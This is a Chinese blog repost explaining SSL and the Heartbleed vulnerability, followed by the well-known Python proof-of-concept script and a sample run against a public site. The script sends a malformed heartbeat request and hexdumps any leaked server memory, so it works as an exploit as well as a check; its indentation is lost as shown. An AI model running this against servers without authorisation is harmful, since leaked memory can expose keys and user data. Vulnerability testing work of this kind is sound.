接自： http://www.jb51.net/article/48858.htm

什么是SSL？

SSL是一种流行的加密技术，可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后，第三方无法读取你与该网站之间的任何通讯信息。在后台，通过SSL加密的数据只有接收者才能解密。

SSL最早在1994年由网景推出，1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞？

SSL标准包含一个心跳选项，允许SSL连接一端的电脑发出一条简短的信息，确认另一端的电脑仍然在线，并获取反馈。研究人员发现，可以通过巧妙的手段发出恶意心跳信息，欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗，并发送服务器内存中的信息。

谁发现的这个问题？

该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低，研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作，在公布该问题前就已经准备好修复方案。

检测OpenSSL心脏出血漏洞的Python脚本

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)

# The author disclaims copyright to this source code.

import sys

import struct

import socket

import time

import select

import re

from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):

return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''

16 03 02 00  dc 01 00 00 d8 03 02 53

43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf

bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00

00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88

00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c

c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09

c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44

c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c

c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11

00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04

03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19

00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08

00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13

00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00

00 0f 00 01 01

''')

hb = h2bin('''

18 03 02 00 03

01 40 00

''')

def hexdump(s):

for b in xrange(0, len(s), 16):

lin = [c for c in s[b : b + 16]]

hxdat = ' '.join('%02X' % ord(c) for c in lin)

pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

print '  %04x: %-48s %s' % (b, hxdat, pdat)

print

def recvall(s, length, timeout=5):

endtime = time.time() + timeout

rdata = ''

remain = length

while remain > 0:

rtime = endtime - time.time()

if rtime < 0:

return None

r, w, e = select.select([s], [], [], 5)

if s in r:

data = s.recv(remain)

# EOF?

if not data:

return None

rdata += data

remain -= len(data)

return rdata

def recvmsg(s):

hdr = recvall(s, 5)

if hdr is None:

print 'Unexpected EOF receiving record header - server closed connection'

return None, None, None

typ, ver, ln = struct.unpack('>BHH', hdr)

pay = recvall(s, ln, 10)

if pay is None:

print 'Unexpected EOF receiving record payload - server closed connection'

return None, None, None

print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))

return typ, ver, pay

def hit_hb(s):

s.send(hb)

while True:

typ, ver, pay = recvmsg(s)

if typ is None:

print 'No heartbeat response received, server likely not vulnerable'

return False

if typ == 24:

print 'Received heartbeat response:'

hexdump(pay)

if len(pay) > 3:

print 'WARNING: server returned more data than it should - server is vulnerable!'

else:

print 'Server processed malformed heartbeat, but did not return any extra data.'

return True

if typ == 21:

print 'Received alert:'

hexdump(pay)

print 'Server returned error, likely not vulnerable'

return False

def main():

opts, args = options.parse_args()

if len(args) < 1:

options.print_help()

return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print 'Connecting...'

sys.stdout.flush()

s.connect((args[0], opts.port))

print 'Sending Client Hello...'

sys.stdout.flush()

s.send(hello)

print 'Waiting for Server Hello...'

sys.stdout.flush()

while True:

typ, ver, pay = recvmsg(s)

if typ == None:

print 'Server closed connection without sending Server Hello.'

return

# Look for server hello done message.

if typ == 22 and ord(pay[0]) == 0x0E:

break

print 'Sending heartbeat request...'

sys.stdout.flush()

s.send(hb)

hit_hb(s)

if __name__ == '__main__':

main()

该脚本 的用法：

[root@master ~]#  ./testssl.py www.qq.com

Connecting...

Sending Client Hello...

Waiting for Server Hello...

... received message: type = 22, ver = 0302, length = 66

... received message: type = 22, ver = 0302, length = 2980

... received message: type = 22, ver = 0302, length = 331

... received message: type = 22, ver = 0302, length = 4

Sending heartbeat request...

Unexpected EOF receiving record header - server closed connection

No heartbeat response received, server likely not vulnerable